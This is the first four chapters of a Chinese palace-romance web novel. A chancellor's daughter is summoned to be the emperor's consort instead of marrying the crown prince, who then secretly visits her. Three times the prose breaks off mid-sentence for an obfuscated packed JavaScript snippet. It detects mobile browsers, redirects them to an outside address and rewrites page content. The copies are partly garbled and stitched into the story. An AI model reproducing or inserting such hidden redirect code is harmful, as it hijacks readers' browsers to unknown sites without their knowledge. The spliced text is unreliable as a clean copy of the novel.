《当了皇后当太后》 1. 一 云凝秋醒来时,晨光熹微。 熟悉她作息的侍女红棉掐着时辰敲门,得到应允后推门而入,伺候主子洗漱更衣。 圆铜镜中映照出云凝秋的面容,眉如柳叶,眸如琉璃,鼻梁高挺,唇不抹而红,肌肤如雪般白。 只是眼边一圈红肿尤其醒目,与她精致容颜对比突兀。 还有些疼。 红棉取来热鸡蛋,包裹进一块薄布巾内,小心翼翼在她眼睛周围轻揉。 她闭着眼,呼吸轻轻。 几日前,钦天监算出大梁境内有女子身怀特殊命格,能兴大梁气运,一番测算出该女子的生辰,年月日时辰乃至时刻,皆与丞相府嫡女云凝秋相符。 昨日午后,宫中来旨,召云凝秋于下月十五入宫为妃。 丞相府上下惊愕。 云凝秋与太子殿下青梅竹马,相知相爱,月初太子殿下登门时曾言说要向皇帝陛下请旨为他们二人赐婚,结果与太子殿下的赐婚圣旨没等到,陛下召云凝秋入宫为妃的圣旨却先抵达。 然而圣旨已下,不可违抗。 云凝秋回房哭了一场,好不容易稳住情绪,可到夜深人静时,心底的不甘、伤心与无可奈何齐齐翻涌,她没忍住又哭了许久。 故而醒来时眼睛酸胀,眼周留有哭过后的红肿。 片刻后,云凝秋抬手轻挥了下,红棉会意,拿着鸡蛋往后退去一步。 她睁开眼,铜镜中映出的面容里,眼睛周围还是有点肿,但已没了方才的酸胀感。 夜里下了场雨,墙边海棠被打落,花瓣散了满地。 云凝秋推开窗,迎面而来湿润的寒意,她轻眯眼眸,望向那簇被雨打落的海棠。 望着那片被雨打落的海棠瞧了许久,红棉的声音自她身后响起:“小姐,该去用早饭了。” 云凝秋启唇:“今日在房中吃。” 红棉:“是。” “还有,”云凝秋眨眼:“准备马车,早饭后,我要出去一趟。” 红棉点头:“是。” 云府食厅。 从侍女口中得知云凝秋今日不来此吃饭时,云长康与钟静兰不约而同叹口气。 其二子云玉淩与云玉峰闻声对视一眼,满桌往日爱吃的早点,此刻却没食欲。 昨日圣旨来的突然,谁也不知晓,无任何防备。 将要入宫为妃的是云凝秋,她伤心难过,难以接受,皆是情理之中。 一时间,谁也没动筷。 眉头紧锁的云玉峰率先开口:“妹妹她……不会做傻事吧?” “应不会,”云长康眉心蹙起,虽无奈却仍道:“秋儿向来思绪清明,圣旨已下,入宫一事已如板上钉钉,她……会接受的。” 云玉峰叹气:“这若是别的事,妹妹她自能想通,可……可她原本要嫁的是太子殿下,如今却要给太子殿下的父皇当妃子……此间落差,非三言两语可言明,也非轻易可接受。” “慎言!”云长康脸色严肃提醒:“太子殿下与秋儿的事,莫要再提。若是传出去,对秋儿与云府皆是不利,不可让他人有可乘口舌之机。” 云玉峰垂下眼:“是,父亲。” 早饭后,云凝秋要出门。 原本打算前去宽慰她的钟静兰在去她院子的路上看见她。见她脚步匆匆,似是着急要去何处的模样,钟静兰连忙走上前,挡住了她去路。 云凝秋抬眼:“母亲。” 钟静兰问:“要去何处?” 云凝秋坦诚:“东宫。” 钟静兰诧异后蹙眉:“昨日召你入宫为妃的圣旨下达,今日你便要去东宫,实为不妥,若是陛下知晓……” “母亲可是要拦我?”云凝秋温声打算她的话。 望着女儿平静而无惧的神情,想来是早已想好。钟静兰叹气:“你可知,即便你去了东宫,见到了太子殿下,这件事也不会有任何改变。” 云凝秋没有回答,只是问:“母亲可会拦我?” 沉默半晌,又有一声叹息响起。钟静兰摇了下头,随即让开位置。 云凝秋道:“多谢母亲。” 望着云凝秋快步离开的背影,钟静兰甚是无奈。 拦她无用,还是让她自己去太子殿下那里得到答案方能死心。 去东宫的路上,云凝秋闭目养神。 马车车厢内燃着安神香,却无法起到安神之效。去东宫的路她去过不止一回,可没有一次是如此漫长。云凝秋心绪驳杂,实在难平,紧锁的眉头始终未舒展开。 她有太子曾给她的令牌,入宫不成问题。 好不容易到了东宫,在见到太子前,却被人拦住。 拦她的,是东宫管事太监,高喜。 “云小姐留步,殿下昨夜感染风寒,身体不适,不宜见客。” “我也不能见?”云凝秋皱眉:“高公公,我只是想与殿下说几句话,不会耽搁太久。” 高喜低眉顺眼,好声好气道:“云小姐,殿下不便相见,请您先回。” 云凝秋望向高喜身后,那边那扇门,她曾可以随意出入,以往东宫的人绝不会拦她。如今只有几步之距,却被生挡在门外。 定是与昨日的圣旨有关。 太子殿下要与她划清距离? 也是,她很快就要入宫成皇帝陛下的妃子,日后她与太子之间就隔着一层无法突破的距离。 只是她本想要嫁的人是太子,她以为她会嫁给太子,然而此事被破坏得如此轻易,他们之间断得如此突然,她着实不甘心。至少,要从太子口中得到确切的答复,想要他当面告知。 云凝秋平稳气息:”高公公应知晓我为何而来,还请通融这一回,让我见殿下一面。所需不过片刻,绝不会耽搁殿下休息。” 高喜不答,只说:“殿下不便,请云小姐暂先离去。” 高喜态度如此明确回绝,绕是云凝秋再迟钝,也多少明白了些:“是殿下不想见我,还是殿下不能见我?” 高息没回答。 云凝秋问:“是陛下的意思吗?” 高喜忙道:“云小姐慎言。” 云凝秋再次看向高喜身后那扇门,唇轻抿,衣袖中的手紧了紧,忽的朝前而去。 高喜没料到她会强闯,赶忙招呼着人过去拦住。 没一会儿,云凝秋就被人拦下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410317|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但怕伤到她,也只敢小心翼翼的挡住她去路,轻抓着她手臂,不让她再往前。 “殿下!”她往里喊了声:“您真不见我吗?” “殿下!!” 没有任何回应。 屋内安安静静,连一个音的回答都没传来。 “云小姐,殿下累了,想必已睡下,他没法见您,您早些回去吧。”高喜让人将她往外带出一些:“还请云小姐莫要为难奴才。” 那门近在眼前,但无法靠近。 云凝秋被人挡得往后退了好几步,越离越远。氤氲起的水汽弥漫整眼,她咬着唇,不得不承认此时与以往大不相同,她与太子也无法再如从前那般。 心有不甘,却无可奈何。 她指甲掐进掌心,疼痛与翻涌的情绪一并而起。她胸口堵得慌,快喘不过气来。 气息不畅,她不由抬手捂住胸口。 红棉立即上前扶住她:“小姐……” 趁云凝秋此刻虚弱,也怕云凝秋再要强闯入门,高喜慌道了句:“快送云小姐出宫!” 云凝秋被带远后,高喜这才松了口气,提在嗓子眼的心才稍稍放松了点,而后看了眼身后那扇至今紧闭的门,又忍不住轻叹息一声。 门内,屋中,景帝负手而立,太子萧沉面色苍白跪在他身前。 屋外动静已停歇,来的那人已然离去。 太萧沉抬眼,眼含热泪而满目不甘:“父皇……为何要如此?世上女子如此之多,为何偏要选凝秋?” “咳咳……您明知儿臣心悦她……” 景帝垂眸,目光淡淡:“钦天监有言,云家女儿命格特殊,可兴我大梁气运。朕请她入宫相伴,佑我大梁百年气运不竭。” “果真如此吗?”萧沉不信:“难道不是父皇私心?” 景帝眼神逐渐冷下:“朕有何私心?” 萧沉欲与他辩说,话到嘴边尚未说出口,咳嗽声却先发出。他捂着嘴,试图强行压抑,想要争辩的心依旧不改:“父皇您明明……” “既病了,便不要再说了,”景帝冷声打断:“好生养病吧。” 萧沉眉心紧蹙:“父皇!” 景帝转身拂袖:“来人!” 门被推开,侍从弯着腰低头进入。 景帝吩咐:“太子身体不适,需静心休养,两月内不得踏出东宫。” 说是休养,实则软禁。 “父皇!”萧沉的呼唤并未阻止景帝离去的脚步。 “咳咳咳!”剧烈咳嗽声起,在屋中回响。 萧沉跌坐在地,一手撑着地面,另只手用力的捂着嘴,可咳嗽不止,仿佛要将他肺腑都给咳出来。 高喜匆忙跑进来,立即为太子顺气:“殿下冷静,您昨夜在御书房外淋雨跪了整晚,如今高烧未退,风寒深重,需好生休息,不可如此动气啊。” “圣旨已下,陛下亦心意坚决,您何苦为此事与他闹不愉快,不值当啊。” “咳咳!!”喉间有血气涌现,喷溅于掌心,顺着手掌缓缓滴落。 高喜的话,萧沉全然没听见。 他眼神恨恨,满心不甘:父皇,您好狠的心…… 2. 二 从皇宫离开后,云凝秋整个人放空着,她什么都没想,只是愣愣坐着。 直至马车停下,红棉掀开马车车帘,外头的光与微凉的风一齐涌入,她才回过神。她眨了下眼,彷如刚从一场梦中醒来。 “小姐,到家了。” 云凝秋应了声,起身过去。红棉扶着她手,将她带下马车。 才到府门前,身后便传来熟悉的女子呼唤声:“凝秋!” 云凝秋转身,有两个提着裙摆着急跑来的女子。 那是她闺中密友,顾筱卿与展雪歌。 她们匆忙登上阶梯,气息尚未喘匀便一人牵住云凝秋一只手,眉心紧蹙,神色尽是担忧。 尚未言语,云凝秋已知晓她们为何而来。 “我无事,”她率先宽慰:“你们不必为我担忧。” “可是……”顾筱卿紧握着她手,叹息先出:“你与殿下……” 云凝秋道:“不必再提。” 顾筱卿诧异:“这……” 云凝秋提醒:“圣旨已下,过往之事,莫要再提,以免被人听了去,造成不必要的麻烦。” 顾筱卿赶忙点点头。 展雪歌也跟着点头表示知晓。 云凝秋笑了下,轻晃了晃与她们相握的手:“筱卿,雪歌,这两日我需冷静,不能陪你们玩耍,你们过两日再来好吗?” 顾筱卿与展雪歌不约而同点头:“自然,你好生歇息,我们过两日再来寻你。” 目送她们离去后,云凝秋的笑容瞬间消失。 她转身进府门,径直回了自己院子。 回房后,她交代红棉不要打扰,之后便独自待在房中。 午饭未吃,晚饭也不用。 钟静兰来看她时,她躺在床上,呼吸轻稳,看起来像是睡着。只是这睡觉时间未免太长,且数个时辰不进水米,这身体可受不住。 “秋儿,”钟静兰坐于床边,轻摇云凝秋的肩柔声呼唤:“起来吃些东西吧。” 云凝秋没睁眼:“母亲,我不饿。” 钟静兰心疼:“你这般,对身体可不好,我知你没胃口,可多少还是吃些。” 云凝秋道:“待我饿了,我会吃的。” 钟静兰没劝动她,陪她坐了会儿后,无奈暂离。 这一夜,云凝秋分外清醒。 黑暗中她睁着眼待了一晚,想着年幼时与太子初见,两人玩耍愉快,那时太子说会保护她一辈子。 而后彼此相知,她为他跳舞,他为她抚琴。他们情窦初开,连看一眼都含着情。 再后来,他说会迎娶她,让她当他的太子妃,不容侧妃不纳妾,只她唯一。 如今,那些承诺与美好期愿皆已落空。 太子反抗不了皇帝,她也不能。 她与太子,不会有以后。 “呵。”伸手不见五指的暗色里,有一声很轻的笑响起。 随后有一滴泪从她眼角滑落,浸入鬓边发丝中。 她的心一抽一抽的疼,在这寂静中,连心脏跳动时那点抽动的颤意都能感受得分外清晰。 她阖上眼,呼吸滞了一拍,又很快恢复如常。 翌日晨间,红棉如往常来伺候主子梳洗,推开门却发觉云凝秋还睡着。她没打扰,又蹑手蹑脚退出房中。 天光逐渐明亮,卧房中的人仍无醒来迹象。 钟静兰赶来,试图唤起云凝秋,可她只回了句“很困”,依旧没起。 钟静兰实在是不放心她,在房中守了两个多时辰,直至她睡醒后于榻上坐起身,悬着的那颗心才放下。 之后劝她吃东西,也不过喝了半碗粥。 朝堂上,有御史针对景帝突下圣旨召臣女入宫为妃一事提出异议。如今并非选秀女之时,钦天监所言也并无实据,如此轻易听信钦天监所言就召臣女入宫实为不妥,有损他帝王声誉。 云长康一党与太子一派的人也顺着御史的话谏言,请陛下收回成命。 然景帝意已决,即便朝堂有诸多认为此行不妥的言语,他也并不在意,说着圣旨已下,没有收回的道理,执意要让云凝秋入宫。 朝臣再多一两句言语,景帝惊起动怒,厉声而下,朝臣悉数跪拜,不敢再言。 又一日后,云凝秋心绪已平,已接受自己即将入宫一事。圣旨无法违抗,入宫无可避免,她也不必再为此事胡思乱想,坦然接受即可。 至少,入宫为妃,对云府的未来,对两位兄长的前途皆有好处。陛下既是因自己命格可兴大梁国运而召自己入宫,想必也不会亏待自己,在宫中大抵也不会吃什么苦。 为此事,她已哭过,难受伤心过,也郁闷了两日,已足够。若再为此哭闹,既让家人担心,也可能惹恼陛下,便不值当了。 云凝秋让红棉给她梳妆,又换了身新衣裳。 与家人一块用早饭时,几人皆看出她今日心情与前几日大不相同。 两两对视一眼后,她二哥云玉峰第一个开口:“妹妹,今日打扮得如此漂亮,可是要外出玩耍?” 云凝秋应声:“嗯。” 钟静兰随之接话:“与何人?去何处?” 云凝秋答:“先前筱卿与雪歌来找过我,我说让她们过两日再来。两日已过,她们应会再来,或者我去寻她们,约摸是在城中逛逛,亦或是去城外马场骑骑马。” 大哥云玉淩笑了声:“这两日天色晴朗,确适合外出走走。若要去城外马场骑马,切记要注意安全,莫摔着了。” 云凝秋展露笑颜:“好。” 云长康和钟静兰无声交换了下眼神。 早饭过后,云凝秋离去,云长康才开口:“想来,秋儿是想通了。” 钟静兰放下筷子:“此事,她若想不通,又能如何?还能抗旨?” 云长康叹息:“夫人是不想秋儿入宫?” 钟静兰反问:“你想?” 云长康摸了摸胡须,自是不想。 此时入宫为妃本就不合章程,何况秋儿心中所属并非陛下,进了宫,不仅要面对陛下,还得想法子避开太子殿下,着实两难,不知秋儿到时要如何应对。 若早知如此,就早些劝秋儿与太子殿下定下婚约。那时想着他们年岁不大,太子殿下又着手替陛下管理朝政不久,事务繁忙,等个一两年再成婚都不成问题,谁承想,太子尚未请来赐婚圣旨,倒是陛下先将召秋儿入宫为妃的圣旨送来。 世事无常。 城郊马场,脚下是广阔翠绿的草地,头顶是湛蓝明媚的天,云凝秋骑于马上,左手握缰绳,右手拿马鞭,神采飞扬,身姿潇洒。 她十二岁便精通马术,身心无惧,骑得比两位兄长还要好,这处马场是父亲送她的十二岁生辰贺礼。她有空时常来,有时与兄长一起,有时与闺中好友结伴,偶尔太子殿下也会陪她来。 每次策马奔腾于这宽广之地,泥土与青草混合的气息随风迎面来,她都觉着无比放松,仿佛置身于一片没有烦忧苦恼之处,她可以尽情释放自己。 片刻后,云凝秋扯住缰绳让马儿缓缓停下来。 与她同来的顾筱卿与展雪歌分别来到她左右两侧,脸上是与她相差无几的欢快笑颜。 “出来骑骑马,人都松快了不少。”顾筱卿扭头看向身边好友,笑声清脆如雀:“前一阵阴雨绵绵,我在家中待得都快要发霉了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410318|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展雪歌扬了扬马鞭,嗓音爽朗:“是呀是呀,好不容易来这一趟,我们多玩一会儿再回去。” 云凝秋笑眼弯弯似月:“好,我们今日玩个尽兴!” “驾!”三人扬起马鞭,并排策马而行。 天色暗下来前,云凝秋回到云府。 今日与好友玩的畅快,她心情大好,晚饭时都多喝了半碗汤。 此后数日,诸事照常。 月末过去,新月到来。 四月五日,宫中来人送来一批赏赐,大小礼箱借用红绸所系,盘托之上亦覆盖红布。数量之多,将整个前厅占据。 若不是来人是宫中太监,云府的人还以为是哪家府邸的公子哥来此下聘提亲。 钟静兰心诧而不解:“公公,这些是……” 宫中太监恭敬笑答道:“回夫人话,这些是陛下赐给云三小姐的。” 陛下所赐? 钟静兰赶忙谢恩。 云府不是没受过陛下赏赐,可先前场面与今日大不相同。 钟静兰目光自赏赐之物扫视而过,若有所思。 十日光阴眨眼即过,转眼就是云凝秋要入宫的日子了。 钟静兰早早就起床去云凝秋房中陪她,亲自为她梳妆。云长康带着两个儿子过来,但没进屋,只在门外与里边的人说着话。 怕云凝秋情绪不佳,云玉峰还讲了好几个笑话逗她,听见她笑声传来才松口气。 一盏茶功夫后,云凝秋与钟静兰一道出来。见父亲与两位兄长都在门外,不由挑了下眉:“你们都在这儿,我都要以为今日是我出嫁。” 云玉峰毫不犹豫脱口而出道:“你若出嫁,我定是要亲自送你到夫家门前的。” 云玉淩立即用手肘怼了下他胳膊。 他后知后觉意识到自己说错话,抬手摸了摸后脑勺:“妹妹,我的意思是……” “我明白,”云凝秋笑着:“既如此,不如今日二哥就送我一程吧。” 云玉峰一愣,随即点头:“好!二哥送你!” 景帝派来接云凝秋的人已在云府外等候,云凝秋露面,个个恭敬行礼。 云玉峰牵来他最喜爱的青骢马,翻身而上,陪在云凝秋乘坐的马车旁。 半路云凝秋掀窗帘透口气,窗边马上的云玉峰朝她露出笑容。云凝秋回以微笑,身子回过去一下,又折转回来,手递出窗外向他而去。 云玉峰扯动缰绳让马儿靠近些,伸手接住云凝秋递给他的东西。 一块圆形梨酥。 他眨眨眼,忽的笑了声,将梨酥递到唇边咬下:“好吃。” 云凝秋笑着,眼眸柔和。 宫门前,云玉峰需止步。 云凝秋道:“二哥,就送到这儿吧。” 云玉峰看着她,眼中难掩担忧:“妹妹,你要好好的。” 云凝秋笑:“二哥也是。” 马车进入宫门,云玉峰望着马车行驶远去,变得模糊,直至完全消失在他视线之中。 他轻叹了口气,这才调转马儿的方向,策马返回云府。 入宫后,云凝秋被带去景帝安排给她的居所,念云轩。 听闻此处是先帝特意为他宠妃新建的住处,因宠妃闺名中带个“云”字,故取名念云轩。 云凝秋名中也有“云”字,只是位置不同。 所带物件尚未安置,皇帝身边的大太监邱明携旨而来,念云轩上下悉数跪拜接旨。 邱明提声宣旨:“奉天承运,皇帝诏曰:云家三女凝秋,淑慎性成,勤勉柔顺,雍和粹纯,性行温良,克娴内则,淑德含章,着即册封为凝妃,入主念云轩,钦此!” 3. 三 刚进宫便被封为正妃,且得念云轩主位,这放在宫中也是头一遭。 云凝秋入宫不过一个时辰,有关她之事就已在后宫各处传遍。她曾与太子关系亲近一事被人翻出,有人觉得这或许可以拿来利用,也有人认为云凝秋此人不可得罪,还有人选择静观其变。 红棉安排念云轩的下人将带进宫的物件归位,云凝秋坐在院中晒太阳,神情淡淡。 有宫女送来一壶热茶,斟入白瓷杯中小心翼翼放置她手边。她并未端起,只是望着杯中缓缓升腾起的热气,眸光动了动。 “小姐……”红棉走来,忽意识到自己称呼不对,赶忙更换:“娘娘,屋内已收拾好。” 云凝秋“嗯”了声:“你们休息吧。” 红棉:“是。” 红棉刚退了两步,念云轩门前跑来个小太监,尖锐嗓音提起呼喊:“陛下到——” 云凝秋瞬时回神,赶忙起身。 念云轩内下人悉数行礼相迎。 不过俄顷,景帝踏进念云轩大门。 云凝秋暗暗深吸口气,笑颜展露,向着走来的景帝行礼:“见过陛下。” “免礼。”景帝托起她的手,将她扶起身。 云凝秋随之抬眼,眸中忽闪过一丝惊讶。 她以前见过陛下,那时陛下头发灰白,与父亲一样蓄着胡须。可此刻在她面前的陛下,发色如墨,胡须也瞧不见,看起来比以往要年轻不少。 仔细瞧,太子继承了他七成的相貌,尤其是那双丹凤眼。只是太子年轻,目光清亮,而陛下眼中却多深沉。 他面上有岁月留下的些许痕迹,更为他增添上几分帝王威严。 云凝秋不由得想,待太子到了这个年岁,是否也会同陛下这般。 自从那道召自己入宫的圣旨下达后,她就再也没见过太子,没听到有关他的任何消息,不知他此刻如何,风寒是否已痊愈。 许是云凝秋盯着看了好一会儿,眼中细微的情绪变化皆被景帝看在眼中。他眼轻眯:“凝妃,在想什么?” 你在透过朕的脸,想着谁? 云凝秋思绪瞬回:“回陛下,臣妾只是在想,陛下似乎与先前所见时有些不一样。” 景帝问:“何处不一样?” 云凝秋答:“陛下今日神采奕奕,容光焕发。” 景帝看着她:“那么往日,朕气色很差?” 云凝秋心有瞬惊,随即稳住,垂眼道:“臣妾以往只远远见过陛下一两回,瞧不太清面容,何况帝王容颜,臣妾不敢直视。兴许是臣妾看错了,还请陛下见谅。” 是吗?曾经没看清楚过他的脸? 见云凝秋低头恭顺又显紧张模样,景帝敛了敛心绪:“凝妃不必紧张,朕不过随口一问。” 云凝秋:“是。” 景帝目光将周遭扫视一圈:“这念云轩,你可喜欢?” 云凝秋道:“陛下所赐居所,臣妾很喜欢。” 景帝视线又落回云凝秋身上:“此处下人,皆归你使唤,若有不喜的,可差人换了。若居所缺了什么,命人去内廷司取就是。” 云凝秋:“是,多谢陛下。” 景帝问:“方才为何在院中?可是下人们动作不利索,没收拾好屋子?” 云凝秋答:“不是的。是臣妾见今日天气晴朗,想在院中晒晒太阳。” “这样啊,”景帝抬头看了眼天,又看向身前人:“既如此,朕也陪你晒会儿太阳。” 云凝秋微微福身:“能得陛下相伴,是臣妾的福气。” 除去方才行礼后的抬眼,此后她全程低垂着头,没看景帝,所说言语也都顺着景帝,仿佛对景帝的所有安排都很满意。 但景帝不那样认为。 院中石桌前,景帝先入座,云凝秋下意识要坐他对面,刚走出一步,景帝往石桌轻拍示意与他相邻之位,她顿了顿,随即转换脚步,在景帝身侧之位坐下。 先前那杯茶尚有丝缕热气升腾,宫女过来将它换走,又斟上两杯新茶。 云凝秋不知该与景帝说什么,也怕说多错多,便没有开口,只望着面前那杯茶。 景帝留意到她目光:“可是不喜这茶?” 云凝秋摇头:“茶很好,只是还有些烫,不易入口,想等个片刻再饮。” 景帝端起茶杯,手腕微动轻晃茶盏:“听闻凝妃爱茶,可知这杯中所泡是何种茶?” 云凝秋眨了下眼,双手端着茶盏至眼前,观察后又递至鼻下轻嗅了嗅:“杯中茶叶扁平光滑,茶水色泽嫩绿光润,闻之有鲜嫩香气,应是上好的龙井。” “不错,”景帝眼中浮起一抹笑:“这龙井鲜爽甘醇,正是要趁其温热时饮用方能品尝到其滋味,若是凉了,便不好喝了。” 说着,他将手中茶盏递向云凝秋。 云凝秋略有诧异,却也将自己那杯递过去,与他茶盏轻碰了下。 景帝饮下一口,她也小抿了口。 还是有点烫,再放一会儿便是她以往饮茶的温度了。 放下茶盏,云凝秋抬头,发觉景帝正看着自己。她微愣,不免生出些拘谨,连坐姿都比方才要更端正。 景帝将她反应看在眼中。她很紧张? 是因第一次与自己如此近的坐着说话,还是因为害怕? 他略有思索,试图转移她情绪:“凝妃为何爱饮茶?” 云凝秋坐姿微动,放在身前的双手紧了紧:“白水入口,无甚滋味,茶水清香,多饮也不腻,故而爱喝。” 景帝:“自幼时起的习惯?” 云凝秋点头:“是的。” 景帝想了下:“内廷司新进了一批新茶,其中好像还有几种花茶,你既爱喝茶,朕便让人每种都送一些,你都尝尝,看看哪种你爱喝,往后就让内廷司多准备一些送你这里来。” 云凝秋微诧一瞬,很快道谢:“多谢陛下。” 她反应不在景帝预料中,他眼眸轻眯:“你不喜欢?” 云凝秋赶忙言语:“喜欢的,只是……” 景帝追问:“只是什么?” 云凝秋抿了下唇:“只是臣妾刚入宫,陛下就待臣妾如此之好,臣妾有些……惶恐。” “为何惶恐?”景帝毫不遮掩的目光看向她:“钦天监所言,你有兴我大梁国运的命格,亦是朕写下诏书、下旨将你召进宫中,朕待你好,是理所应当,你不必为此惶恐。” “你初来宫中,也许还不习惯,但往后就不要如此了。” 云凝秋心中仍诧异,但面上却是恭顺着应下:“是,臣妾记住了。” 话音刚落,旁边伸来的手覆盖在她手背,掌心暖意随之而来。 她抬眼看向景帝,眼眸微动。 “此处所有,都是你应得的,”景帝目光定定看着她:“你只管接受,别的,无需在意。” 云凝秋眨了眨眼,在景帝认真眼神的注视下,点了头:“好。” 盛春暖阳照得人惬意,连风都是温暖和煦的。 景帝在念云轩待了小半个时辰,因御书房尚有奏折要批,暂行离去。 送他至门前,望着他背影远去后,折返回屋内的云凝秋才松了口气。她心绪有点不稳,呼吸微乱,陛下以前是这种性情么?怎么与自己以往了解到的不太一样? 好生奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410319|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再者,什么叫此处所有都是她应得的?是因钦天监算出的她那可兴国运的命格? 钦天监算得准么?前十几年都没动静,忽的就来了这一出…… 但不论所谓命格之言是真或假,帝王威严都不容冒犯,往后顺着陛下就是,绝不可触怒他。 如今她身在皇宫,云府上下皆与她紧密相连,不能因她个人而牵连云府。 晌午前,内廷司来了人,送了数种茶叶,今年采摘的新茶,与炮制的花茶。 云凝秋让红棉将它们收好。 午后,云凝秋睡了半个时辰,醒来时发觉自己身处在陌生之所,愣了好一会儿神才想起来这是皇宫的念云轩,不是她在云府的卧房。 她在床榻坐了许久,启唇喊了声:“红棉。” 红棉快步而来:“娘娘。” 云凝秋道:“为我泡杯茶吧。用从云府带来的碧螺春。” 红棉:“是。” 皇宫中的时辰过得缓慢而无趣,云凝秋手里的书翻至最后一页,屋外的天才暗下来。 晚膳后,她在院中来回走了两圈,折返回屋内又拿起另一本书翻看。 桌上蜡烛燃过半,滑落的蜡油在蜡烛底凝结成块。 屋内安静,无人搅扰。 约摸小半时辰后,有人进来。 云凝秋以为是红棉,吩咐了声:“红棉,帮我倒杯茶。” 没多久,茶盏送到她跟前。 “你倒是接受得快。”开口说话的,不是红棉。 云凝秋猛的抬头。在她身前的,是多日未见的太子萧沉,此刻他穿着一身宦官服饰,一看就是偷偷来的。 “孤被父皇软禁在东宫,你倒好,一脸惬意的在这当他的凝妃。”萧沉满脸怨气,眼里的不甘都要溢出来。 “要是孤不想法子来见你,你是不是就打算把孤给忘了?” 多日不见,萧沉清瘦不少,说话虽压着嗓子,可不见虚弱,风寒大概已痊愈。 见他无碍,云凝秋心下松了口气。而与此同时占据她思绪的,是他不应该出现在这里。 “你为何来?”云凝秋起身,压低声音说话:“你可知若被人知晓,对我对你皆是不利!” 萧沉着急走向她,将她手牵起:“孤想见你。” 云凝秋挣扎,却被他抓得更紧。 他皱着眉,心中仍有气:“那所谓钦天监之言,都是假的,什么命格皆是无稽之谈,父皇不过是想找借口召你入宫罢了!” “他就是见你生的美,起了色心!” 云凝秋瞪大双眼:“你疯了?怎能在宫里说这些话!” 她使劲抽出一只手捂住萧沉的嘴,怕他再说些大逆不道的话来。 萧沉嗅着她掌心传来的香气,眨了眨眼。他伸手想要抱她。 但被她推开。 萧沉目光瞬间沉下来,眉头紧拧着,很是委屈。 “你冷静一点!”云凝秋往后退去两步拉开与他的距离:“你是太子,我是凝妃,就算你难以接受,这也是事实。” “一旦被人知晓你我仍有来往,单是你出现在此,我就无法解释。” 萧沉盯着她。 她不敢看他的眼睛,别开头去:“殿下,莫要让我为难。” “孤不让你为难……”萧沉低声似喃喃着:“那你就舍得孤为你难过?” 云凝秋:“……” 她看着他,眸子轻颤,有水汽氤氲起。 她心有不忍。 萧沉迈步往前,抬手轻按住她的肩:“凝秋,孤……” 院中传来脚步声。 随即有人高喊了声:“陛下到——” 4. 四 云凝秋的心瞬间提到嗓子眼,慌张与无措齐齐上涌。 她听着外边逐渐靠近的脚步声,又看向就在身前没有一丝惧意、甚至都不打算躲一下的萧沉,着急得手都在颤抖。 她视线在屋子里快速扫视一圈,最后落在萧沉身后的窗子。 “快走!”云凝秋压低嗓音催促,大步走过去推着萧沉走向窗子,打开后手往外一指:“快翻出去!” 萧沉不愿:“孤就这么见不得人?” 云凝秋往他胳膊上拍了一巴掌:“这会儿你见得了人才怪!” 被皇帝看见他们二人在屋中独处,这怎么说得清?刚进宫的妃子夜里与太子殿下私会,她有两个脑袋也不够给砍的! “快翻出去!”云凝秋往前推他一把,再次催促。 萧沉看着她,目光沉沉。 云凝秋急得心乱跳,都快要从胸膛窜出来,她皱着眉,眼里浮现出泪光:“求你了……” 萧沉压了压唇角,看着她快要掉出来的泪,轻叹了声。他伸手将她眼角溢出的半颗泪抹去:“孤走就是。” 他前脚刚从窗子翻出去,云凝秋尚未来得及将窗子关上,景帝后脚就踏进了屋。 云凝秋心慌,手忙脚乱的将窗页合上,但因太着急没彻底关上,漏出道手掌宽的口子。 景帝径直朝她走来:“在做什么?” 云凝秋深吸口气,转身时露出笑容:“本来在看书,不过夜里的风有点凉,故而臣妾起身来将窗子关上。” 景帝看向云凝秋身后的窗子,透过那道没完全关好的口子向外看。那侧是墙,种着些草木,不过夜里瞧不清楚,只隐约看见被风吹动的草木影子。 他向那边走过去,云凝秋心神皆紧,垂在衣袖中的手不自觉攥紧。她不能阻止,阻止意味着心里有鬼。 可她也做不到淡定自若,毕竟前一刻萧沉就在那里。 要是真让他们父子在自己这儿碰见,自己估摸着是要活不过今夜,险些就成为大梁有史以来第一个被皇帝圣旨召进宫结果当夜就被赐死的女子! 窗外传来两声喵叫,“喵喵”声在夜色里显得格外清晰。 景帝推开窗朝外看去一眼,墙上显着两道猫儿的身影,许是被开窗的声响惊到,立即跳下墙头,很快消失不见。 景帝视线微动,朝窗子两边无声探看而去,但并未发现什么。他敛回目光,彻底将窗子关上:“以后这种小事,让下人做就好。” “天气逐渐和暖,宫中的野猫多起来,你若嫌它们叫的烦,早些命人将它们赶走,以免搅扰你看书的兴致。” 